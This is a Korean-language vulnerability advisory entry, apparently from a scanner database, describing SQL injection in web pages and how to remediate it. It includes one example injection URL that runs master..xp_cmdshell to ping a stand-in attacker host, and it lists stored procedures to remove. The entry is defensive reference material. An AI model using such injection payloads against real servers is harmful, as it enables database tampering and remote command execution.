English
◀◁ 뒤로
취약점ID 22052
위험도 40
포트 80, ...
프로토콜 TCP
분류 WWW
상세설명 해당 웹서버의 명기된 웹 페이지는 SQL injection 공격들에 취약하다. 해당 웹 페이지는 SQL 문을 전달하기 전에 사용자 입력 값들을 검증하지 않는다. 공격자는 자신의 SQL 명령들을 만들어 웹서버에 연결된 데이터베이스로 보내 데이터베이스 엔트리들에 대해 읽기, 수정, 생성, 삭제 등의 행위를 행사할 수 있다.
SQL 문을 inject(삽입) 할 수 있다는 것은 공격자가 뜻대로 임의의 SQL 문을 수행시킬 수 있다는 것이다. MS SQL 서버는 디폴트로 SYSTEM 권한으로 수행되는데 이는 윈도우즈에서 Administrator의 권한과 같다. 공격자는 master..xp_cmdshell과 같은 stored procedure들을 사용하여 다음과 같이 원격지에서 임의의 명령을 수행시킬 수 있다:

http://[www.target.com]/vulnerable.asp?id=10'; exec master..xp_cmdshell 'ping www.attacker.com'--

* 참고 사이트:
http://www.unixwiz.net/techtips/sql-injection.html
http://www.tech-faq.com/sql-injection-attack.shtml
http://www.cgisecurity.com/development/sql.shtml
http://www.securiteam.com/securityreviews/5DP0N1P76E.html
http://www.iss.net/security_center/static/8783.php


* 영향을 받는 플랫폼:
모든 HTTP 서버 모든 버전
모든 운영체제 모든 버전
해결책 o 다음 모든 문자열에서 NULL, 캐리지 리턴(carry return), 신규 라인 등과 같은 확장 문자, 그리고 단일 인용부호, 이중 인용부호, 슬래쉬, 백 슬래쉬, 세미 콜론과 같은 문자들을 걸러내야 한다.
- 사용자로부터의 입력값
- URL에서의 인수들
- Cookie 값들

o 숫자 값들에 대해 SQL 문장으로 해석되기 전에 정수로 변환한다. ISNUMERIC를 사용하여 정수인지를 확인할 수 있다.

o SQL 서버 보안 탭에서 낮은 권한의 사용자로 MS SQL 서버가 수행되도록 "Startup and run SQL Server"를 수정한다.

o 다음과 같은 사용하지 않는 stored procedure 들은 제거하여야 한다:

master..xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
관련 URL (CVE)
관련 URL (SecurityFocus)
관련 URL (ISS)